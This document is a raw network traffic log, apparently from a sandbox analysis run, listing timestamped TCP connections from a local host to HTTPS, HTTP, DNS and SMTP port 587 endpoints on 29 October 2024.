Oct 29, 2024 13:08:30.912377119 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.912396908 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.912518978 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.912554026 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.912867069 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.912873983 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.920495033 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.920567036 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.920701027 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.920964003 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.920979977 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.923863888 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.923940897 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.924022913 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.924384117 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.924416065 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.936727047 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.936953068 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.937016010 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.937055111 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.937077045 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.937093019 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.937099934 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.939066887 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.939131975 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.939219952 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.939378023 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.939407110 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.940676928 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.941224098 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.941251040 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:30.941852093 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:30.941864014 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.037731886 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.038069010 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.038151979 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.040769100 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.040971041 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.041166067 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.056361914 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.056396008 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.057952881 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.057962894 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.070709944 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.070775986 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.071372032 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.149817944 CET	80	49801	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:31.149832964 CET	80	49801	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:31.149926901 CET	49801	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:31.167876959 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.167897940 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.167913914 CET	49800	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.167922020 CET	443	49800	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.189475060 CET	49801	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:31.189780951 CET	49801	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:31.530436039 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:31.535819054 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:31.658370018 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.684132099 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.687019110 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.687079906 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.688360929 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.688374996 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.690787077 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.690818071 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.690895081 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.691037893 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.691051006 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.695543051 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.695585966 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.696214914 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.696225882 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.699875116 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.699954987 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.700051069 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.700232029 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.700268030 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.705415010 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.705425024 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.705539942 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.709623098 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.709629059 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.816030025 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.816284895 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.816365957 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.822783947 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.822835922 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.822866917 CET	49802	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.822885990 CET	443	49802	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.830117941 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.830235958 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.830315113 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.831597090 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.831624985 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.832078934 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.834991932 CET	49803	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.835011959 CET	443	49803	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.841321945 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.841337919 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.845539093 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.845597029 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.845757961 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.846081972 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:31.846113920 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:31.994628906 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:31.994749069 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:31.995917082 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:32.000695944 CET	587	49778	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:32.000761032 CET	49778	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:32.001426935 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:32.001506090 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:32.435179949 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.435827971 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.435863018 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.436584949 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.436592102 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.447226048 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.447657108 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.447673082 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.448126078 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.448131084 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.448601007 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.449120998 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.449131012 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.449500084 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.449506044 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.566796064 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.566876888 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.567209959 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.568073988 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.568092108 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.568109035 CET	49805	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.568116903 CET	443	49805	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.572494984 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.572570086 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.572673082 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.572909117 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.572947025 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.579690933 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.579921007 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.579983950 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.580116987 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.580116987 CET	49806	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.580130100 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.580137968 CET	443	49806	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.582493067 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.582788944 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.583101034 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.583695889 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.585386992 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.585400105 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.586589098 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.586594105 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.586946964 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.587490082 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.587513924 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.588120937 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.588135958 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.588778973 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.588818073 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.589171886 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.589171886 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.589205980 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.589534998 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.589548111 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.589559078 CET	49804	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.589565992 CET	443	49804	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.593880892 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.593903065 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.593972921 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.594158888 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.594173908 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.686955929 CET	60451	53	192.168.2.5	162.159.36.2
Oct 29, 2024 13:08:32.692935944 CET	53	60451	162.159.36.2	192.168.2.5
Oct 29, 2024 13:08:32.693042040 CET	60451	53	192.168.2.5	162.159.36.2
Oct 29, 2024 13:08:32.699177027 CET	53	60451	162.159.36.2	192.168.2.5
Oct 29, 2024 13:08:32.716082096 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.716159105 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.716344118 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.716444969 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.716465950 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.716479063 CET	49807	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.716485977 CET	443	49807	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.719244957 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.719306946 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.719464064 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.719523907 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.719523907 CET	49808	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.719553947 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.719573975 CET	443	49808	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.719613075 CET	60452	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.719681025 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.719769955 CET	60452	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.719929934 CET	60452	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.719949007 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.722090006 CET	60453	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.722134113 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.722198963 CET	60453	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.722475052 CET	60453	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:32.722489119 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:32.784167051 CET	60454	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:33.019293070 CET	80	60454	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:33.019408941 CET	60454	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:33.019639015 CET	60454	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:33.025316954 CET	80	60454	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:33.213809967 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:33.214015007 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:33.219454050 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:33.319130898 CET	60451	53	192.168.2.5	162.159.36.2
Oct 29, 2024 13:08:33.325150967 CET	53	60451	162.159.36.2	192.168.2.5
Oct 29, 2024 13:08:33.325201988 CET	60451	53	192.168.2.5	162.159.36.2
Oct 29, 2024 13:08:33.325632095 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.326806068 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.326838970 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.327229023 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.327234983 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.335239887 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.335611105 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.335637093 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.336034060 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.336040020 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.358486891 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:33.358588934 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:33.358681917 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:33.359122038 CET	60455	443	192.168.2.5	40.69.42.241
Oct 29, 2024 13:08:33.359162092 CET	443	60455	40.69.42.241	192.168.2.5
Oct 29, 2024 13:08:33.401282072 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.401643038 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.401680946 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.402051926 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.402065039 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.456660032 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.456870079 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.456931114 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.456964016 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.456979990 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.456990957 CET	49811	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.456996918 CET	443	49811	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.460436106 CET	60456	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.460457087 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.460520983 CET	60456	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.460658073 CET	60456	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.460671902 CET	443	60456	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.469822884 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.470175982 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.470242023 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.470319033 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.470319986 CET	49810	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.470354080 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.470379114 CET	443	49810	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.472383022 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.472425938 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.472492933 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.472604990 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.472634077 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.475265980 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:33.475455046 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:33.480859995 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:33.532213926 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.532397985 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.532497883 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.537558079 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.537587881 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.537621021 CET	49812	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.537635088 CET	443	49812	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.550354958 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.550395966 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.550625086 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.561125040 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.561140060 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.736763954 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:33.737250090 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:33.742903948 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:33.751682997 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.752207041 CET	60453	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.752243042 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.752973080 CET	60453	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.752980947 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.794476986 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.795133114 CET	60452	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.795165062 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.795567989 CET	60452	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.795574903 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.883686066 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.884154081 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.884284019 CET	60453	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.884368896 CET	60453	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.884397984 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.884413958 CET	60453	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.884421110 CET	443	60453	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.888109922 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.888156891 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.888217926 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.888573885 CET	60459	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.888591051 CET	443	60459	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.925915003 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.926074028 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:33.928921938 CET	60452	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:33.957818031 CET	80	60454	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:33.957911968 CET	60454	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:33.958309889 CET	80	60454	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:33.959117889 CET	60454	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:34.013556957 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:34.018076897 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:34.023623943 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:34.053473949 CET	60452	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.053474903 CET	60452	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.053520918 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.053546906 CET	443	60452	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.055692911 CET	60454	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:34.055711985 CET	60454	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:34.073811054 CET	60460	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.073852062 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.073944092 CET	60460	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.142419100 CET	60460	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.142437935 CET	443	60460	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.216584921 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.270462990 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.280016899 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:34.290420055 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.298614979 CET	49809	587	192.168.2.5	212.44.112.138
Oct 29, 2024 13:08:34.303989887 CET	587	49809	212.44.112.138	192.168.2.5
Oct 29, 2024 13:08:34.332803011 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.357868910 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.357928991 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.358855963 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.358872890 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.359126091 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.359138966 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.359612942 CET	60458	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.359617949 CET	443	60458	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.485378981 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.485548019 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.485645056 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.485810041 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.485810041 CET	60457	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.485857964 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.485886097 CET	443	60457	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:34.492749929 CET	60461	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:34.492815971 CET	443	60461	13.107.246.45	192.168.2.5
